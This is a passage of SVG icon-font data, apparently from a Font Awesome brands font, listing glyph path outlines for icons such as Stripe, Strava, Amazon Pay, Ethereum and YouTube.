12.9004 -33.3008 -20.2002c-9.89941 -33.0996 -6.39941 -44.8994 -6.39941 -44.8994s30.7002 -13.4004 43.2998 19.5996zM442.1 188.1c0 0 15.7002 -1.09961 26.4004 14.2002s1.2998 25.5 1.2998 25.5 +s-8.59961 11.1006 -19.5996 -9.09961c-11.1006 -20.1006 -8.10059 -30.6006 -8.10059 -30.6006z" /> + <glyph glyph-name="font-awesome-flag" unicode="" +d="M448 400v-336c-63 -23 -82 -32 -119 -32c-63 0 -87 32 -150 32c-20 0 -36 -4 -51 -8v64c15 4 31 8 51 8c63 0 87 -32 150 -32c20 0 35 3 55 9v208c-20 -6 -35 -9 -55 -9c-63 0 -87 32 -150 32c-51 0 -75 -21 -115 -29v-307 +c0.00195312 -0.136719 0.00292969 -0.273438 0.00292969 -0.410156c0 -17.4404 -14.1602 -31.5996 -31.6006 -31.5996c-0.136719 0 -0.265625 0.0078125 -0.402344 0.00976562c-0.136719 -0.00195312 -0.273438 -0.00292969 -0.410156 -0.00292969 +c-17.4404 0 -31.5996 14.1602 -31.5996 31.6006c0 0.136719 0.0078125 0.265625 0.00976562 0.402344v384c-0.00195312 0.136719 -0.00292969 0.273438 -0.00292969 0.410156c0 17.4404 14.1602 31.5996 31.6006 31.5996 +c0.136719 0 0.265625 -0.0078125 0.402344 -0.00976562c0.136719 0.00195312 0.273438 0.00292969 0.410156 0.00292969c17.4404 0 31.5996 -14.1602 31.5996 -31.6006c0 -0.136719 -0.0078125 -0.265625 -0.00976562 -0.402344v-13c40 8 64 29 115 29c63 0 87 -32 150 -32 +c37 0 56 9 119 32z" /> + <glyph glyph-name="gitter" unicode="" horiz-adv-x="384" +d="M66.4004 125.5h-50.4004v322.5h50.4004v-322.5zM166.9 371.9v-435.9h-50.4004v435.9h50.4004zM267.5 371.9v-435.9h-50.4004v435.9h50.4004zM368 372v-247h-50.4004v247h50.4004z" /> + <glyph glyph-name="hooli" unicode="" horiz-adv-x="640" +d="M144.5 96v16c12.2998 -6.59961 25.0996 -12.2002 38.2998 -16.7998zM202.2 101.3c29.5 -10.7002 55.3994 -13.5 75.2998 -13.2998c-24.7998 -7 -58.2002 -5.2998 -94.7002 7.2002l19.4004 0.799805v5.2998zM611.1 216.5c-16 0 -28.8994 13 -28.8994 28.9004 +c0 15.8994 13 24.5 28.8994 24.5c16 0 28.9004 -8.5 28.9004 -24.5s-13 -28.9004 -28.9004 -28.9004zM582.1 96v110.5h57.9004v-110.5h-57.9004zM508.4 96v168l57.8994 27.2998v-195.3h-57.8994zM477.4 215.4c18.0996 -18.1006 16.6992 -33.8008 16.7998 -52.6006 +c0 -18.7002 1.39941 -34.2998 -16.7998 -52.5c-18.1006 -18.2002 -50.4004 -17.0996 -50.4004 -17.0996s-32.2002 -1.10059 -50.4004 17.0996c-18.1992 18.2002 -16.7998 33.7998 -16.7998 52.5s-1.39941 34.4004 16.7998 52.6006 +c18.1006 18.1992 50.4004 17.0996 50.4004 17.0996s32.2002 1.09961 50.4004 -17.0996zM437.6 143.5v40.4004c0 8.7998 -7.2998 10.8994 -10.6992 10.8994c-3.40039 0 -10.7002 -2.2002 -10.7002 -10.8994v-40.4004c0 -3.59961 1.7998 -12.5 10.7002 -12.5 +c8.89941 0 10.6992 8.90039 10.6992 12.5zM331.4 215.4c18.1992 -18.1006 16.6992 -33.8008 16.6992 -52.3008c0 -18.6992 1.5 -34.2998 -16.6992 -52.5c-18.1006 -18.1992 -50.4004 -17.0996 -50.4004 -17.0996s-32.2002 -1.09961 -50.4004 17.0996 +c-18.1992 18.2002 -16.7998 33.8008 -16.7998 52.5c0 15.6006 -0.899414 29.1006 9.2998 43.7002c-16 11.7998 -58 37.4004 -99.8994 58.2998v-54.2998c8 13.7002 22.7002 22 38.5 21.9004c27.2002 0 40.5996 -18.7002 40.5996 -37.4004v-93.8994 +c-20.3994 7.5 -39.7002 17.3994 -57.7002 29.5996v48.7002c0 8.09961 -1.5 15 -10.5996 15s-10.7998 -11.2998 -10.7998 -18.2002v-29.7998l-4.5 3.59961c-22.9004 18.9004 -40.2998 35.6006 -53.4004 50.2998v-31c11 -9.7998 23.6006 -20.1992 38.4004 -31.3994 +c6.39941 -4.90039 12.8994 -9.40039 19.3994 -13.6006v-28.5996h-57.8994v73.7002c-86.7002 78 -61.7998 110.8 -61.7998 110.8c8.2998 18.2998 42.8994 22.2002 97.2998 0.0996094l22.5 10.6006v-20.7002c29.5996 -14.5996 63.8994 -31.5 102.1 -61.0996 +c1.60059 2.09961 3.40039 4.09961 5.2998 6c18.2002 18.1992 50.4004 17.0996 50.4004 17.0996s32.2002 1.09961 50.4004 -17.0996zM65.2002 264l29.2002 13.7002c-26.9004 10.0996 -50.9004 13.5 -64.4004 2.09961c-3.7002 -3.09961 -13.5 -24.5996 35.2002 -79.0996 +v63.2998zM291.7 143.5v40.4004c0 8.7998 -7.2998 10.8994 -10.7002 10.8994s-10.7002 -2.2002 -10.7002 -10.8994v-40.4004c0 -3.59961 1.7998 -12.5 10.7002 -12.5s10.7002 8.90039 10.7002 12.5z" /> + <glyph glyph-name="strava" unicode="" horiz-adv-x="384" +d="M158.4 448l150.199 -292h-88.5l-61.6992 116.1l-62.2002 -116.1h-89.2002zM308.6 156h67.6006l-111.5 -220l-112.2 220h67.5996l44.6006 -88.2002z" /> + <glyph glyph-name="stripe" unicode="" horiz-adv-x="640" +d="M165 303.3l0.0996094 -38.5h33.7002v-37.7998h-33.7002v-63.2002c0 -26.2002 28 -18 33.7002 -15.7002v-33.7998c-5.89941 -3.2002 -16.5996 -5.89941 -31.2002 -5.89941c-26.2998 0 -46.0996 17 -46.0996 43.2998l0.200195 142.399zM254.1 251.7 +c10.4004 19.0996 31.1006 15.2002 37.1006 13.0996v-40.7998c-5.7002 1.7998 -23.4004 4.5 -33.9004 -9.2998v-103.101h-44.2998v153.2h38.4004zM346.4 324v-36.2002l-44.6006 -9.5v36.2002zM44.9004 219.7c0 -20 67.8994 -10.5 67.8994 -63.4004 +c0 -32 -25.3994 -47.7998 -62.2998 -47.7998c-15.2998 0 -32 3 -48.5 10.0996v40c14.9004 -8.09961 33.9004 -14.1992 48.5996 -14.1992c9.90039 0 17 2.69922 17 10.8994c0 21.2002 -67.5 13.2002 -67.5 62.4004c0 31.3994 24 50.2002 60 50.2002 +c14.7002 0 29.4004 -2.30078 44.1006 -8.10059v-41.7998c-13.5 7.2998 -30.7002 11.4004 -44.2002 11.4004c-9.2998 -0.100586 -15.0996 -2.80078 -15.0996 -9.7002zM640 186.4c0 -4.30078 -0.400391 -13.6006 -0.599609 -15.9004h-86.9004 +c2 -20.7998 17.2002 -26.9004 34.5 -26.9004c17.5996 0 31.5 3.7002 43.5996 9.80078v-33.4004c-12.0996 -6.7002 -28 -11.5 -49.1992 -11.5c-43.2002 0 -73.5 24.7002 -73.5 78.2002c0 45.2002 25.6992 81.0996 67.8994 81.0996s64.2002 -35.8994 64.2002 -81.3994z +M552.1 203.2h45.9004c0 20 -11.5996 28.3994 -22.5 28.3994c-11.0996 0 -23.4004 -8.39941 -23.4004 -28.3994zM439.2 267.8c31.2002 0 60.5996 -28.0996 60.5 -79.7002c0 -56.3994 -29 -79.5996 -60.7998 -79.5996c-15.5 0 -25 6.5 -31.4004 11.2002l-0.0996094 -50.2002 +l-44.4004 -9.40039v204.801h39.0996l2.30078 -11c6.19922 5.69922 17.3994 13.8994 34.7998 13.8994zM428.6 145.3c16.5 0 27.5 17.9004 27.4004 41.7998c0 23.2002 -11.2002 41.4004 -27.4004 41.4004c-10.1992 0 -16.5996 -3.7002 -21.1992 -8.7998l0.299805 -66 +c4.2998 -4.60059 10.5 -8.40039 20.8994 -8.40039zM301.9 111.6v153.2h44.5996v-153.2h-44.5996z" /> + <glyph glyph-name="stripe-s" unicode="" horiz-adv-x="384" +d="M155.3 293.4c0 -64.2002 218 -33.7002 218 -203.9c0 -102.6 -81.7002 -153.6 -200.3 -153.6c-55.2773 0.125 -108.22 11.7861 -156 32.3994v128.5c47.9004 -26 108.9 -45.5 156.1 -45.5c31.8008 0 54.7002 8.5 54.7002 34.9004c0 68.0996 -216.8 42.5 -216.8 200.399 +c0 101 77.0996 161.4 192.8 161.4c47.2998 0 94.5 -7.2002 141.8 -26.0996v-134.301c-43.3994 23.4004 -98.5 36.7002 -141.899 36.7002c-29.7998 0 -48.4004 -8.59961 -48.4004 -30.8994z" /> + <glyph glyph-name="typo3" unicode="" +d="M178.7 369.6c0 -66.3994 83.3994 -264.899 140.6 -264.899c6.90039 0 11.5 0 18.5 2.2998c-49.3994 -79.5 -110.399 -139 -146.7 -139c-77.2998 0 -184.1 234 -184.1 337.5c0 16.2998 3.90039 29.4004 9.2998 37.0996c27 32.4004 106.8 57.9004 176.3 66.4004 +c-8.5 -7 -13.8994 -14.7002 -13.8994 -39.4004zM301.5 416c71.7998 0 138.8 -11.5996 138.8 -52.5c0 -82.5996 -52.5 -182.3 -78.7998 -182.3c-47.9004 0 -101.7 132.1 -101.7 198.5c0 30.8994 11.6006 36.2998 41.7002 36.2998z" /> + <glyph glyph-name="amazon-pay" unicode="" horiz-adv-x="640" +d="M14 122.7c2.2998 4.2002 5.2002 4.89941 9.7002 2.5c10.3994 -5.60059 20.5996 -11.4004 31.2002 -16.7002c39.8447 -19.8691 83.1084 -35.7148 127.399 -46.2998c20.5771 -4.96484 41.8789 -8.95996 63.2002 -11.7998 +c26.4932 -3.56152 53.5293 -5.40039 80.9922 -5.40039c4.97266 0 9.06348 0.0800781 14.0078 0.200195c17.4004 0.399414 34.7998 1.7998 52.0996 3.7998c56.8682 6.62891 112.369 21.4697 163.301 42.7998c2.89941 1.2002 5.89941 2 9.09961 1.2002 +c6.7002 -1.7998 9 -9 4.09961 -13.9004c-2.98828 -2.74707 -6.16797 -5.2002 -9.59961 -7.39941c-30.7002 -21.1006 -64.2002 -36.4004 -99.5996 -47.9004c-24.0801 -7.76074 -49.5137 -13.7686 -75.1006 -17.5996c-17.4854 -2.67871 -35.0918 -4.29395 -53.2002 -4.7998 +c-0.847656 -0.0517578 -1.68066 -0.152344 -2.5 -0.300781h-21.0996c-0.818359 0.148438 -1.65234 0.249023 -2.5 0.300781c-3.59961 0.199219 -7.2002 0.299805 -10.7002 0.399414c-17.1182 0.776367 -33.8633 2.55957 -50.3994 5.2998 +c-27.5244 4.48633 -54.7959 11.6387 -80.4004 20.9004c-54.1943 19.5449 -103.535 49.2734 -145.6 87c-1.80078 1.59961 -3 3.7998 -4.40039 5.7002v2zM172 382.9c2.7998 0 5.5 0 8.2998 -0.100586c3.2998 -0.5 6.60059 -0.799805 9.7998 -1.5 +c21.3008 -4.39941 35.4004 -17.2998 43.9004 -36.8994c6.90039 -15.9004 8.59961 -32.7002 8.09961 -49.8008c-0.399414 -15.3994 -3.2998 -30.1992 -10.2998 -44.0996c-9.2002 -18.4004 -23.3994 -30.9004 -43.7998 -34.9004c-22.5 -4.39941 -43.0996 0.5 -61 15.4004 +c-0.5 0.5 -1.09961 1 -2.2002 1.90039v-72.4004c0 -1 0 -2 -0.0996094 -3c-0.299805 -3 -2.10059 -5 -5 -5c-7 -0.0996094 -14.1006 -0.0996094 -21.1006 0c-2.89941 0.0996094 -4.69922 2 -4.89941 5c-0.100586 1 -0.100586 2 -0.100586 3v209.3 +c0 6.90039 1.30078 8.2002 8.2002 8.2002h11.5c4.60059 0 6.90039 -2 7.60059 -6.59961c0.5 -2.7002 0.899414 -5.5 1.2998 -8.2002c0.0537109 -0.494141 0.193359 -0.970703 0.399414 -1.40039c2.5 1.90039 4.7002 3.7002 7.10059 5.40039 +c10.8691 7.98535 23.957 13.3662 38 15.0996zM124.6 341c0.100586 -14.0996 0 -28 0 -42.0996c0 -14.1006 0.100586 -28.1006 0 -42.2002c-0.00585938 -0.0849609 -0.0126953 -0.165039 -0.0126953 -0.250977c0 -1.29102 0.686523 -2.42188 1.71289 -3.04883 +c11.2002 -7.90039 23.4004 -13.3008 37.4004 -13.9004c20.2002 -0.900391 35.7998 7.2002 42.5996 28.5c3.2002 10 4 20.2002 4 30.5996c0 11.2002 -1 22.3008 -4.89941 33c-6.40039 17.5 -18.6006 24.8008 -33.5 25.9004 +c-16.8008 1.2998 -31.9004 -3.7002 -45.6006 -13.2002c-1.02734 -0.605469 -1.71289 -1.7168 -1.71289 -2.99414c0 -0.103516 0.00390625 -0.205078 0.0126953 -0.305664zM330.3 382.9c4 0 8 0 11.9004 0.0996094c3.59961 -0.5 7.2002 -0.799805 10.7998 -1.2998 +c7.7002 -1.10059 15.0996 -3.10059 21.7998 -7.10059c11.6006 -6.89941 17.1006 -17.5 19 -30.3994c0.597656 -3.93945 0.905273 -7.87793 0.905273 -11.9834c0 -0.305664 -0.00195312 -0.611328 -0.00488281 -0.916992v-106 +c0.00292969 -0.157227 0.00488281 -0.282227 0.00488281 -0.44043c0 -0.794922 -0.0351562 -1.58203 -0.105469 -2.35938c-0.0742188 -2.59277 -2.19336 -4.67969 -4.7998 -4.7002c-5.39941 -0.0996094 -10.8994 -0.0996094 -16.2998 0 +c-2.90039 0.100586 -4.7998 2.10059 -5.40039 5.2002c-0.699219 3.59961 -1.19922 7.2002 -1.7998 11c-0.583984 -0.296875 -1.11816 -0.665039 -1.59961 -1.09961c-11.7998 -9.7002 -25.2002 -16.1006 -40.2998 -18.4004c-13.1006 -2 -26 -1.2002 -37.9004 5.40039 +c-12.4004 6.89941 -19.4004 17.6992 -21.4004 31.6992c-1.5 10.5 -0.799805 20.9004 3.90039 30.7002c6.09961 12.6006 16.5 20.4004 29.4004 24.9004c10.7998 3.7998 22 4.5 33.2998 3.89941c10.9355 -0.680664 21.6748 -2.35449 32 -4.89941 +c0.399414 -0.100586 0.799805 0 1.2998 -0.100586c0.107422 0.453125 0.174805 0.921875 0.200195 1.40039c-0.100586 8.2998 0 16.5996 -0.299805 24.9004c-0.200195 5.89941 -1.60059 11.5996 -5.30078 16.3994c-4.19922 5.5 -10.2998 7.40039 -16.7998 8.40039 +c-12.5 1.89941 -24.8994 0.899414 -37.2002 -1.40039c-7.89941 -1.5 -15.6992 -3.7002 -23.5 -5.7002c-4.69922 -1.19922 -6.69922 0.100586 -6.7998 4.90039c-0.0996094 3.2998 0.100586 6.59961 0 9.90039c-0.0996094 3.89941 1.7002 6.5 5.2998 7.69922 +c5.90039 2 11.8008 4.2002 17.9004 5.80078c9.3125 2.27539 18.9932 3.68164 28.9004 4.09961c0.899414 0.0996094 1.89941 0.299805 2.89941 0.400391zM365.3 255.2c-0.0996094 4.7002 0.100586 9.2998 0.100586 14.0996s-0.100586 9.5 0 14.2998 +c0 1.60059 -0.5 2.40039 -2.10059 2.60059c-8.39941 1.09961 -16.5996 2.7002 -25 3.39941c-2.34766 0.273438 -4.66895 0.400391 -7.08984 0.400391c-6.15625 0 -12.1016 -0.90918 -17.71 -2.59961c-8 -2.60059 -13.9004 -7.30078 -16.4004 -15.6006 +c-0.914062 -3.01953 -1.40527 -6.22168 -1.40527 -9.53906c0 -3.43457 0.527344 -6.74707 1.50586 -9.86035c1.77637 -6.16602 6.41895 -11.1133 12.3994 -13.3008c5.40039 -2.19922 11.1006 -2.39941 16.8008 -1.7998c13.8994 1.40039 26.1992 6.7998 37.3994 14.9004 +c0.90918 0.594727 1.50684 1.61719 1.50684 2.7832c0 0.0732422 -0.00195312 0.145508 -0.00683594 0.216797zM625.2 125.8v-17.2998c-0.700195 -3.59961 -1.2998 -7.2998 -2.10059 -10.9004c-4.39941 -20.2998 -11.8994 -39.1992 -24.6992 -55.5996 +c-3.97559 -4.76562 -8.1582 -9.17773 -12.7002 -13.4004c-1.33008 -1.21289 -2.98242 -2.09082 -4.7998 -2.5c-2.90039 -0.699219 -4.60059 1.2002 -4.10059 4.10059c0.243164 1.03027 0.584961 2.04785 1 3c5.7998 14.7998 11.7002 29.7002 15.7998 45.0996 +c2.10059 7.60059 3.90039 15.2998 3.5 23.2998c-0.199219 5.2002 -2.5 9 -7.59961 10.4004c-4.60352 1.3623 -9.46191 2.29004 -14.4004 2.7002c-11.3994 0.899414 -22.8994 0.200195 -34.2998 -0.900391c-7.7998 -0.799805 -15.5 -1.7002 -23.2998 -2.5 +c-0.607422 -0.0693359 -1.20215 -0.104492 -1.82715 -0.104492c-0.125 0 -0.249023 0.00195312 -0.373047 0.00488281c-1.5 -0.100586 -3.2002 0.299805 -3.59961 1.7998c-0.129883 0.450195 -0.197266 0.930664 -0.197266 1.42285 +c0 0.939453 0.253906 1.82031 0.697266 2.57715c1.00879 1.39258 2.25 2.56836 3.7002 3.5c12.0996 8.2998 25.6992 12.9004 40 15.5996c8.68945 1.59961 17.376 2.43945 26.5254 2.43945c4.26953 0 8.49707 -0.182617 12.6738 -0.539062 +c7.24512 -0.454102 14.3311 -1.80273 21 -3.90039c4.30078 -1.39941 8.10059 -3.2998 9.10059 -8.2998zM493.1 249c0.300781 -0.700195 0.501953 -1.2998 0.902344 -2.40039c2.59961 7.7002 5.2002 15 7.7002 22.2002l34.7998 100 +c0.5 1.40039 1.09961 2.7002 1.59961 4.10059c0.980469 3.02734 3.81543 5.21777 7.16699 5.21777c0.179688 0 0.357422 -0.00585938 0.533203 -0.0185547c6.60059 0 13.2998 0.100586 19.9004 0c2.7998 0 4.09961 -1.59961 3.7002 -4.39941 +c-0.335938 -1.89648 -0.884766 -3.76465 -1.60059 -5.5c-23.3662 -59.9336 -46.8994 -119.801 -70.5996 -179.601c-2.58691 -6.37598 -5.6875 -12.5654 -9.2002 -18.3994c-8.7998 -14.9004 -22.4004 -21.7998 -39.5 -21.4004c-5.7666 0.225586 -11.3984 0.905273 -16.9004 2 +c-5.39941 0.900391 -7.2998 3.40039 -7.39941 8.90039c-0.100586 3.2666 -0.100586 6.56641 0 9.89941c0.0996094 3.5 1.7998 5 5.2002 4.80078c2.5 -0.200195 5 -0.800781 7.5 -1c1.57227 -0.178711 3.11328 -0.264648 4.7334 -0.264648 +c3.68457 0 7.25879 0.473633 10.666 1.36426c7.2002 1.90039 12.2002 6.7998 15.2002 13.2998c3.40039 7.2998 6 15 9.2998 22.2998c1.90039 4.2002 1.5 7.7002 -0.200195 11.8008c-19.7998 48.5 -39.5 97 -59.1006 145.5 +c-0.770508 1.95117 -1.41797 4.02051 -1.90039 6.09961c-0.5 2.5 0.700195 4.5 3.2002 4.5c7.7002 0.0996094 15.2998 0 22.9004 -0.0996094c3.2002 0 5.2998 -1.90039 6.39941 -4.80078c2.10059 -5.59961 4.30078 -11.1992 6.30078 -16.8994 +c12.8994 -35.7666 25.7988 -71.5 38.6982 -107.2z" /> + <glyph glyph-name="cc-amazon-pay" unicode="" horiz-adv-x="576" +d="M124.7 246.2c0.0996094 11.7998 0 23.5 0 35.2998v35.2998c0 1.2998 0.399414 2 1.39941 2.7002c11.5 8 24.1006 12.0996 38.2002 11.0996c12.5 -0.899414 22.7002 -7 28.1006 -21.6992c3.2998 -8.90039 4.09961 -18.2002 4.09961 -27.7002 +c0 -8.7002 -0.700195 -17.2998 -3.40039 -25.6006c-5.69922 -17.7998 -18.6992 -24.6992 -35.6992 -23.8994c-11.7002 0.5 -21.9004 5 -31.4004 11.7002c-0.900391 0.799805 -1.40039 1.59961 -1.2998 2.7998zM279.6 231.6c-5.19922 2 -8.7998 5.7002 -10.3994 11.2002 +c-1.7002 5.40039 -1.7002 10.7998 -0.100586 16.2002c2 6.90039 7 10.9004 13.7002 13.0996c6.7998 2.2002 13.7998 2.5 20.7998 1.90039c7 -0.700195 13.9004 -2 20.9004 -2.90039c1.40039 -0.199219 1.7998 -0.799805 1.7998 -2.19922c-0.0996094 -4 0 -8 0 -12 +c0 -3.90039 -0.0996094 -7.90039 0 -11.8008c0 -1.19922 -0.399414 -1.89941 -1.2998 -2.5c-9.40039 -6.7998 -19.7002 -11.2998 -31.2998 -12.5c-4.7998 -0.5 -9.5 -0.299805 -14.1006 1.5zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352 +c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM368.5 344.1c0.400391 -1.69922 0.900391 -3.39941 1.59961 -5.09961c16.5 -40.5996 32.9004 -81.2998 49.5 -121.9c1.40039 -3.5 1.7002 -6.39941 0.200195 -9.89941 +c-2.7998 -6.2002 -4.89941 -12.6006 -7.7998 -18.7002c-2.59961 -5.5 -6.7002 -9.5 -12.7002 -11.2002c-4.2002 -1.09961 -8.5 -1.2998 -12.8994 -0.899414c-2.10059 0.199219 -4.2002 0.699219 -6.30078 0.799805c-2.7998 0.200195 -4.19922 -1.10059 -4.2998 -4 +c-0.0996094 -2.7998 -0.0996094 -5.60059 0 -8.2998c0.100586 -4.60059 1.60059 -6.7002 6.2002 -7.5c4.7002 -0.800781 9.40039 -1.60059 14.2002 -1.7002c14.2998 -0.299805 25.7002 5.39941 33.0996 17.8994c2.90039 4.90039 5.60059 10.1006 7.7002 15.4004 +c19.7998 50.0996 39.5 100.3 59.2002 150.5c0.599609 1.5 1.09961 3 1.2998 4.59961c0.400391 2.40039 -0.700195 3.60059 -3.09961 3.7002c-5.60059 0.100586 -11.1006 0 -16.7002 0c-3.10059 0 -5.2998 -1.39941 -6.40039 -4.2998 +c-0.399414 -1.09961 -0.899414 -2.2998 -1.2998 -3.40039l-29.0996 -83.6992c-2.10059 -6.10059 -4.2002 -12.1006 -6.5 -18.6006c-0.400391 0.900391 -0.600586 1.40039 -0.800781 1.90039c-10.7998 29.8994 -21.5996 59.8994 -32.3994 89.7998 +c-1.7002 4.7002 -3.5 9.5 -5.2998 14.2002c-0.900391 2.5 -2.7002 4 -5.40039 4c-6.40039 0.0996094 -12.7998 0.200195 -19.2002 0.0996094c-2.2002 0 -3.2998 -1.59961 -2.7998 -3.7002zM242.4 242c1.69922 -11.7002 7.59961 -20.7998 18 -26.5996 +c9.89941 -5.5 20.6992 -6.2002 31.6992 -4.60059c12.7002 1.90039 23.9004 7.2998 33.8008 15.5c0.399414 0.299805 0.799805 0.600586 1.39941 1c0.5 -3.2002 0.900391 -6.2002 1.5 -9.2002c0.5 -2.59961 2.10059 -4.2998 4.5 -4.39941 +c4.60059 -0.100586 9.10059 -0.100586 13.7002 0c2.2998 0.0996094 3.7998 1.59961 4 3.89941c0.0996094 0.800781 0.0996094 1.60059 0.0996094 2.30078v88.7998c0 3.59961 -0.199219 7.2002 -0.699219 10.7998c-1.60059 10.7998 -6.2002 19.7002 -15.9004 25.4004 +c-5.59961 3.2998 -11.7998 5 -18.2002 5.89941c-3 0.400391 -6 0.700195 -9.09961 1.10059h-10c-0.799805 -0.100586 -1.60059 -0.300781 -2.5 -0.300781c-8.2002 -0.399414 -16.2998 -1.39941 -24.2002 -3.5c-5.09961 -1.2998 -10 -3.19922 -15 -4.89941 +c-3 -1 -4.5 -3.2002 -4.40039 -6.5c0.100586 -2.7998 -0.0996094 -5.60059 0 -8.2998c0.100586 -4.10059 1.80078 -5.2002 5.7002 -4.10059c6.5 1.7002 13.1006 3.5 19.7002 4.7998c10.2998 1.90039 20.7002 2.7002 31.0996 1.2002 +c5.40039 -0.799805 10.5 -2.39941 14.1006 -7c3.09961 -4 4.2002 -8.7998 4.39941 -13.7002c0.300781 -6.89941 0.200195 -13.8994 0.300781 -20.7998c0 -0.399414 -0.100586 -0.700195 -0.200195 -1.2002c-0.400391 0 -0.799805 0 -1.10059 0.100586 +c-8.7998 2.09961 -17.6992 3.59961 -26.7998 4.09961c-9.5 0.5 -18.8994 -0.0996094 -27.8994 -3.2002c-10.8008 -3.7998 -19.5 -10.2998 -24.6006 -20.7998c-4.09961 -8.2998 -4.59961 -17 -3.39941 -25.7998zM98.7002 341.1v-175.3c0 -0.799805 0 -1.7002 0.0996094 -2.5 +c0.200195 -2.5 1.7002 -4.09961 4.10059 -4.2002c5.89941 -0.0996094 11.7998 -0.0996094 17.6992 0c2.5 0 4 1.7002 4.10059 4.10059c0.0996094 0.799805 0.0996094 1.7002 0.0996094 2.5v60.7002c0.900391 -0.700195 1.40039 -1.2002 1.90039 -1.60059 +c15 -12.5 32.2002 -16.5996 51.0996 -12.8994c17.1006 3.39941 28.9004 13.8994 36.7002 29.1992c5.7998 11.6006 8.2998 24.1006 8.7002 37c0.5 14.3008 -1 28.4004 -6.7998 41.7002c-7.10059 16.4004 -18.9004 27.2998 -36.7002 30.9004 +c-2.7002 0.599609 -5.5 0.799805 -8.2002 1.2002h-7c-1.2002 -0.200195 -2.40039 -0.300781 -3.59961 -0.5c-11.7002 -1.40039 -22.3008 -5.80078 -31.8008 -12.7002c-2 -1.40039 -3.89941 -3 -5.89941 -4.5c-0.100586 0.5 -0.299805 0.799805 -0.400391 1.2002 +c-0.399414 2.2998 -0.700195 4.59961 -1.09961 6.89941c-0.600586 3.90039 -2.5 5.5 -6.40039 5.60059h-9.7002c-5.89941 0.0996094 -6.89941 -1 -6.89941 -6.80078zM493.6 109c-2.69922 0.700195 -5.09961 0 -7.59961 -1c-43.9004 -18.4004 -89.5 -30.2002 -136.8 -35.7998 +c-14.5 -1.7002 -29.1006 -2.7998 -43.7002 -3.2002c-26.5996 -0.700195 -53.2002 0.799805 -79.5996 4.2998c-17.8008 2.40039 -35.5 5.7002 -53 9.90039c-37 8.89941 -72.7002 21.7002 -106.7 38.7998c-8.7998 4.40039 -17.4004 9.2998 -26.1006 14 +c-3.7998 2.09961 -6.19922 1.5 -8.19922 -2.09961v-1.7002c1.19922 -1.60059 2.19922 -3.40039 3.69922 -4.7998c36 -32.2002 76.6006 -56.5 122 -72.9004c21.9004 -7.90039 44.4004 -13.7002 67.3008 -17.5c14 -2.2998 28 -3.7998 42.1992 -4.5 +c3 -0.0996094 6 -0.200195 9 -0.400391c0.700195 0 1.40039 -0.199219 2.10059 -0.299805h17.7002c0.699219 0.100586 1.39941 0.299805 2.09961 0.299805c14.9004 0.400391 29.7998 1.80078 44.5996 4c21.4004 3.2002 42.4004 8.10059 62.9004 14.7002 +c29.5996 9.60059 57.7002 22.4004 83.4004 40.1006c2.7998 1.89941 5.69922 3.7998 8 6.19922c4.2998 4.40039 2.2998 10.4004 -3.30078 11.9004zM544 136.7c-0.799805 4.2002 -4 5.7998 -7.59961 7c-5.7002 1.89941 -11.6006 2.7998 -17.6006 3.2998 +c-11 0.900391 -22 0.400391 -32.7998 -1.59961c-12 -2.2002 -23.4004 -6.10059 -33.5 -13.1006c-1.2002 -0.799805 -2.40039 -1.7998 -3.09961 -3c-0.600586 -0.899414 -0.700195 -2.2998 -0.5 -3.39941c0.299805 -1.30078 1.69922 -1.60059 3 -1.5 +c0.599609 0 1.19922 0 1.7998 0.0996094l19.5 2.09961c9.59961 0.900391 19.2002 1.5 28.7998 0.800781c4.09961 -0.300781 8.09961 -1.2002 12 -2.2002c4.2998 -1.10059 6.2002 -4.40039 6.40039 -8.7002c0.299805 -6.7002 -1.2002 -13.0996 -2.90039 -19.5 +c-3.5 -12.9004 -8.2998 -25.4004 -13.2998 -37.7998c-0.299805 -0.799805 -0.700195 -1.7002 -0.799805 -2.5c-0.400391 -2.5 1 -4 3.39941 -3.5c1.40039 0.299805 3 1.09961 4 2.09961c3.7002 3.60059 7.5 7.2002 10.6006 11.2002 +c10.6992 13.7998 17 29.5996 20.6992 46.5996c0.700195 3 1.2002 6.10059 1.7002 9.10059c0.200195 4.7002 0.200195 9.59961 0.200195 14.5z" /> + <glyph glyph-name="ethereum" unicode="" horiz-adv-x="320" +d="M311.9 187.2l-151.9 -92.7998l-152 92.7998l152 260.8zM160 64.5996l152 92.8008l-152 -221.4l-152 221.4z" /> + <glyph glyph-name="korvue" unicode="" horiz-adv-x="446" +d="M386.5 414c32.7002 0 59.5 -26.7998 59.5996 -59.5v-327c0 -32.7002 -26.5 -59.5 -59.5 -59.5h-327.1c-32.7002 0 -59.5 26.7998 -59.5 59.4004v327.1c0 32.7002 26.7998 59.5 59.5 59.5h327zM87.0996 327.2v-132h187.5l81.2002 132h-110.899l-61.8008 -116v116h-96z +M248.9 55.0996h118.399l-88.5996 130.801h-191.5v-130.801h96v113.601z" /> + <glyph glyph-name="elementor" unicode="" +d="M425.6 416c12.4004 0 22.4004 -10 22.4004 -22.4004v-403.199c0 -12.4004 -10 -22.4004 -22.4004 -22.4004h-403.199c-12.4004 0 -22.4004 10 -22.4004 22.4004v403.199c0 12.4004 10 22.4004 22.4004 22.4004h403.199zM164.3 92.5v199h-39.7998v-199h39.7998z +M323.6 92.5v39.7998h-119.5v-39.7998h119.5zM323.6 172.1v39.8008h-119.5v-39.8008h119.5zM323.6 251.8v39.7998h-119.5v-39.7998h119.5z" /> + <glyph glyph-name="youtube-square" unicode="" +d="M186.8 245.9l95.2002 -54.1006l-95.2002 -54.0996v108.2zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM406 191.7c0 0 0 59.5996 -7.59961 88.2002 +c-4.2002 15.7998 -16.5 28.1992 -32.2002 32.3994c-28.2998 7.7002 -142.2 7.7002 -142.2 7.7002s-113.9 0 -142.2 -7.7002c-15.7002 -4.2002 -28 -16.5996 -32.2002 -32.3994c-7.59961 -28.5 -7.59961 -88.2002 -7.59961 -88.2002s0 -59.6006 7.59961 -88.2002 +c4.2002 -15.7998 16.5 -27.7002 32.2002 -31.9004c28.2998 -7.59961 142.2 -7.59961 142.2 -7.59961s113.9 0 142.2 7.7002c15.7002 4.2002 28 16.0996 32.2002 31.8994c7.59961 28.5 7.59961 88.1006 7.59961 88.1006z" /> + <glyph glyph-name="flipboard" unicode="" +d="M0 416h448v-448h-448v448zM358.4 